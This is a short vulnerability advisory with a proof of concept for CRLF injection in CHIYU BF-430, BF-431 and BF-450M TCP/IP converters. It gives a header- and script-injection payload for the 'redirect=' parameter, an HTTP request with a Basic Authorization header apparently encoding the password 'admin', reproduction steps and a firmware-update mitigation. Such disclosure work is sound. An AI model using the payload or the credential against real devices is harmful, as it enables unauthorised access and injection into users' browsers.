CHIYU TCP/IP Converter CRLF Injection

CHIYU TCP/IP Converter devices suffers from a crlf injection vulnerability. Versions affected include BF-430, BF-431, and BF-450M.

MD5 | 13a797a4534c55f2a1bacdeee0f9a77e

# Exploit Title: CHIYU TCP/IP Converter devices - CRLF injection
# Date: May 31 2021
# Exploit Author: sirpedrotavares
# Vendor Homepage:
# Software Link:
# Version: BF-430, BF-431, and BF-450M TCP/IP Converter devices - all firmware versions < June 2021
# Tested on: BF-430, BF-431, and BF-450M
# Publication:

Description: A CRLF injection vulnerability was found on BF-430, BF-431, and BF-450M TCP/IP Converter devices from CHIYU Technology Inc due to a lack of validation on the parameter redirect= available on multiple CGI components.
CVSS: Medium – CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Affected parameter: redirect=Component: all the CGI components
Payload: %0d%0a%0d%0a<script>alert(document.domain)</script>

====HTTP request======
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic OmFkbWlu
Connection: close
Upgrade-Insecure-Requests: 1

======HTTP response========
HTTP/1.1 302 Found
Location: setting.htm
Content-Length: 0
Content-Type: text/html

Steps to reproduce:
1. Navigate to the vulnerable device
2. Make a GET request to all CGI components
3. Append the payload at the end of the vulnerable parameter (redirect )
4. Submit the request and observe payload execution

Mitigation: The latest version of the CHIYU firmware should be installed
to mitigate this vulnerability.

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